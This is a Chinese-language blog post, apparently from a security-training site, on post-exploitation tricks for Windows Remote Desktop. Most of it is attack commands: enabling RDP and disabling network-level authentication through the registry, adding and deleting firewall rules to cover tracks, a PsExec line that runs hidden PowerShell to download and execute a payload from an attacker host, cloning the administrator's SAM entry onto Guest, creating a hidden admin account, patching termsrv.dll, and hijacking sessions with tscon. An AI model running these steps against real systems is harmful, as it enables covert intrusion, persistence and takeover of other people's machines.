首页 > 系统相关 >Windows远程桌面的奇技淫巧

Windows远程桌面的奇技淫巧

时间:2024-07-09 10:33:18浏览次数:14  
标签:termsrv 桌面 Windows administrator dll 远程桌面 reg 奇技淫巧

前言

  • Windows远程桌面简介

远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者连上提供微软终端机服务的计算机(称为服务端或远程计算机)

  • 远程桌面的前置条件

在获取权限后,针对3389进行展开,先查询3389端口是否开启

netstat -ano | findstr 3389

发现没有开启(也有可能更改了端口),则可以通过注册表进行手动启动(需要管理员权限)

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f      (开启)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f      (关闭)

若执行失败,可能由于系统版本过旧(以下开启命令适用于Windows Server 2003之前系统)

wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 1(开启)
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 0(关闭)

有些运维人员会勾选”仅允许使用网络级别的身份验证的远程桌面的计算机连接”选项,我们也可以通过注册表进行关闭,避免影响连接(开启同理0替换成1)

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

为了避免运维人员更改了RDP端口,可以确认下RDP端口

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber

正常若是3389端口为0xd3d(默认是十六进制表示)

在这里还需要保证防火墙等安全设备没有禁止且相互之间网络必须相通,这里防火墙设置只允许单独端口放通,减少运维人员的警觉(只允许3389端口放通)

netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow

通过命令删除防火墙的通行策略(清理痕迹)

netsh advfirewall firewall delete rule name="RemoteDesktop"

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

克隆账户接管administrator桌面

  • 适用场景

在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面

  • 利用步骤(默认情况下需要system权限)

在administrator权限下进行切换(利用PsExec工具进行powershell无文件落地上线system权限)

shell "PsExec64.exe -accepteula -s powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.108.132:8080/a'))""

(-accepteula同意最终用户许可协议End User License Agreement,否则会弹窗无法运行)

查询用户的SID,方便选择克隆对象(常克隆Guest用户,系统自带不易察觉且默认的SID为501)

这里克隆administrator用户为Guest用户,将SID为500(对应十六进制为0x1f4)的管理员账号的相关信息导出为admin.reg

regedit /e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

将注册表文件下载到本地方便编辑(下载后默认在本地CS目录的下的download文件夹下,文件下载后需要重命名)

download admin.reg

将admin.reg文件的第三行HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4中的“1F4”修改为Guest的SID为1F5(十六进制),并保存为new.reg(方便区分)

将new.reg重新上传到受害机中

导入编辑好的new.reg文件

regedit /s new.reg

修改Guest密码便于远程登录,并及时清理两个reg文件

net user Guest Admin@123
del /F C:\Users\Administrator\Desktop\admin.reg C:\Users\Administrator\Desktop\new.reg

此时直接进行远程登录Guest账户,其实是administrator账户的系统,成功接管!

新建隐藏管理员+远程软件+会话劫持组合拳接管administrator桌面

  • 适用场景

在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面

  • 利用步骤

添加新隐藏用户

net user yuzi$ Admin@123 /add

将新隐藏用户添加到管理员组

net localgroup administrators yuzi$ /add

此时直接进行远程登录隐藏账户,进行图形化操作

若遇到对方已有用户在线,可能会出现以下界面(Windows sever版本默认支持多用户同时在线,Windows其他版本不支持)

此时为了做到更加隐蔽的进行登录(强迫登录会使对方会话掉线),可以修改termsrv.dll文件实现,操作前要将所有权转移给本地管理员,向本地管理员组授予对termsrv.dll文件的“完全控制”权限(若是通过powershell无文件远控的形式执行如下命令可能会出现问题,则需要在可执行木马的远控场景执行命令)

takeown /F c:\Windows\System32\termsrv.dll /A
icacls c:\Windows\System32\termsrv.dll /grant Administrators:F

修改系统文件可能会导致系统不稳定,确保有原始termsrv.dll文件的备份

copy c:\Windows\System32\termsrv.dll termsrv.dll_backup

接下来将对方的c:\Windows\System32\termsrv.dll文件下载至本地

download c:\Windows\System32\termsrv.dll

在编辑dll前需要确认当前系统的版本号,查看Windows的版本号

powershell Get-ComputerInfo -Property WindowsVersion, OsName

通过十六进制文本编辑器进行编辑termsrv.dll文件,按照不同的Windows的版本查找对应的字符串标识,替换为B8 00 01 00 00 89 81 38 06 00 00 90

01.png

修改完成后上传至对方,进行强制替换系统自带的termsrv.dll,(替换前需要先停止远程服务,以免发生冲突,替换后再重新启用远程服务)

net stop TermService /y
copy /y C:\Users\Administrator\Desktop\termsrv.dll c:\windows\system32\termsrv.dll
net start TermService 

重新进行3389远程连接,发现已经可以直接登录到新建隐藏管理员桌面,不再出现提示页面

借助Windows的特性,直接在新建隐藏管理员桌面安装轻量级的远控桌面软件并运行(这里以GotoHTTP为例)

在攻击机本地进行GotoHTTP远程桌面时候,发现已经成功接管了administrator的实时桌面(由于GotoHTTP是以管理员身份运行的故显示的administrator桌面)

若运气不好,发现利用GotoHTTP远程后在锁定页面,此时还可以配合会话劫持进行接管administrator实时桌面

接下来进行劫持(劫持administrator的会话),查询可劫持的会话

quser

以管理员权限运行cmd,创建服务(用于会话劫持的权限需要system,恰好Windows的服务是以system权限运行,其中的1为需要劫持的ID值)

sc create rdp binpath= "cmd.exe /k tscon 1 /dest:console"

 

启动并且删除服务后,发现此时的GotoHTTP页面已经成功进入解锁状态的桌面

sc start rdp & sc delete rdp & exit 

远程结束后进行删除隐藏用户(清理痕迹,这类隐藏用户容易发现)

net user yuzi$ /delete

更多网安技能的在线实操练习,请点击这里>>

  

标签:termsrv,桌面,Windows,administrator,dll,远程桌面,reg,奇技淫巧
From: https://www.cnblogs.com/hetianlab/p/18291227

相关文章

  • Windows7、10、11官方原版ISO镜像下载
    整理好放到夸克网盘了,需要的自取https://pan.quark.cn/s/3efb93ba1306  版本发布日期文件名文件大小sha1Windows1022h2 商业版(含专业、专业工作站、教育、专业教育、企业版)2024年3月19日zh-cn_windows_10_business_editions_version_22h2_updated_mar......
  • Setting Up an FTP Site on Windows IIS_Cloud Server
    OverviewThebestpracticesforECSguideyouthroughthesetupofanFTPsiteonaWindowsECS.TheWindowsServer2012R2OSisusedasanexampleinthissection.Theprocessisasfollows:AddIISandFTPserviceroles.Createausernameandpassword......
  • windows 安装fvm 安装使用FVM,管理多版本flutter
    背景:win101,先用clash代理powershell命令,解决网络问题2.使用dart安装FVMdartpubglobalactivatefvm3.安装后检查系统环境变量3.1 我的电脑》右键属性》高级系统设置》环境变量》PATH   看看path里有没有C:\Users\Administrator\AppData\Local\Pub\C......
  • Windows进程令牌相关信息的获取
    代码样例#include<iostream>#include<cstdio>#include<cstdlib>#include<cstring>#include<conio.h>#include<string>#include<vector>#include<map>#include<list>#include<set>#include<......
  • 解决计算机中mfc140u.dll没有被指定在windows上运行
    在打开电脑软件时候出现mfc140u.dll丢失或找不到mfc140u.dll怎么办?遇到这个问题相当困扰,mfc140u.dll到底是什么?为什么会出现这个情况,相信很多人都不知道,今天我给大家详细介绍一下mfc140u.dll是什么,为什么会丢失和mfc140u.dll丢失的多种不同解决方法分享!一、mfc140u.dll丢失......
  • Windows服务器系统远程桌面设置多用户同时登录设置方法
    在实际使用我们较多使用的都是windows系统的单用户模式,它意味着当我们登录一个用户的时候如果另外一个用户也在登录,那么就得等待另外一个用户退出后或者强制踢出当前用户,才可以登录我们这个用户,下面大家可以参考下面的文章设置一下 在实际使用我们较多使用的都是windows系......
  • Windows 电脑查看 WiFi 密码的方法都有哪些?
    从设置面板中查看当你使用的是笔记本电脑并且连接WiFi之后可以在设置面板中查看WiFi密码,首先打开设置界面,然后点击网络和Internet,找到WiFi之后点击进入,然后点击管理已知网络。然后点击已经连接好的无线网络。进入之后点击查看WiFi安全密钥区域的显示按钮,就可以看......
  • 在Windows环境下安装Python 3.11的步骤
    在Windows环境下安装Python3.11的步骤相对直接。下面是详细的安装教程:第一步:下载Python3.11安装程序访问Python官方网站的下载页面:https://www.python.org/downloads/在页面中找到适用于Windows的Python3.11版本,点击下载对应你操作系统的安装包。通常,你会看到一个明显......
  • Windows 新增多个显示 不显示下面任务栏
    前言全局说明Windows多个显示不显示下面任务栏一、说明二、问题新增多个显示不显示下面任务栏,之前加的显示,可以正常显示任务栏。三、解决方法:在任务栏上右键--任务栏设置--个性化--任务栏--任务栏行为,先将选中的勾(对号)去掉,然后再勾上,就全显示了。......
  • Install the Operating System of Windows and Linux on the Laptop
    EnvironmentsWindows11Ubuntu24.04LTSLaptop:YogaPro14SARH7AllocatedDiskForUbuntu:146.5GBStepI:DownloadUbuntuPackageDownloadtheUbuntuISOfilefromtheofficialwebsite:https://ubuntu.com/download/desktopJustselecttheversion......